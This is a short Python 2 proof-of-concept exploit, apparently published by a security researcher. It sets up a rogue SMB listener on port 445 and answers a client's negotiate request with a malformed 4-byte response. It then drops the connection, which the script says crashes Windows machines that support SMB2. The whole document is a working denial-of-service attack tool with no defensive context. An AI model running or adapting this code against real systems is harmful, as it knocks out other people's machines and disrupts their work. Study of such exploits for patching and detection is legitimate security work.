import socket,sys,time

print "Maliformed negotiate protocol response and quickly closing the connection causes Windows machines supporting SMB2 to crash."
print "Written by Jelmer de Hen"
print "Published at http://h.ackack.net/?p=387"
smb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
smb.bind(("", 445))
smb.listen(1)
smbconn, addr = smb.accept()
print "[+] "+str(addr)+" is trying to make connection to us over port 445"
while 1:
  new_packet = smbconn.recv(1024)
  print "[+] Waiting for a negotiate request packet"
  if new_packet[8]=="r":
    print "[+] Received the negotiate request packet injecting the 4 bytes now..."
    smbconn.send("\x00\x00\x00\x01")
    break
print "[+] Closing connection... This is part of the exploit"
smbconn.close()
print "[+] Done, if all went good then the box on the other side crashed"